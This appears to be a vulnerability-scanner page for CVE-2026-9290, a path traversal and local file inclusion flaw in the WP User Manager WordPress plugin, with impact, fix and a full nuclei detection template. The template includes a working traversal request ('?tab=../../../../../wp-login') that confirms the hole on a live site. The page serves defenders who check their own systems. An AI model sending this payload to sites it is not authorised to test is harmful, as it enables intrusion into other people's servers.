WP User Manager – User Profile Builder & Membership - Local File Inclusion

highseverity

7.5CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.

Impact

Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.

Fix

Update to a version later than 2.9.17 or the latest available version.

How to confirm it

Send: GET /wp-content/plugins/wp-user-manager/readme.txt
Positive when: status_code == 200 and contains(body, "WP User Manager") and compare_versions(plugin_version, "<= 2.9.17")
Send: GET /profile/admin/about?tab=../../../../../wp-login
Positive when: contains "wp-login-logo" and "Username or Email Address" and "wp-login-lost-password" AND status 200

Run it with nuclei: nuclei -id CVE-2026-9290 -u <target>

The full check

id: CVE-2026-9290

info:
  name: WP User Manager – User Profile Builder & Membership - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.
  remediation: |
    Update to a version later than 2.9.17 or the latest available version.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-wp-user-manager-user-profile-builder-membership-plugin-2-9-17-unauthenticated-path-traversal-to-local-file-inclusion-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9290
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9290
    epss-score: 0.02502
    epss-percentile: 0.84852
    cwe-id: CWE-22
  metadata:
    max-request: 2
    verified: true
    product: wp-user-manager
    vendor: wp-developer
  tags: cve,cve2026,wordpress,wp-plugin,wp-user-manager,lfi,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-user-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP User Manager")'
          - 'compare_versions(plugin_version, "<= 2.9.17")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /profile/admin/about?tab=../../../../../wp-login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wp-login-logo"
          - "Username or Email Address"
          - "wp-login-lost-password"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from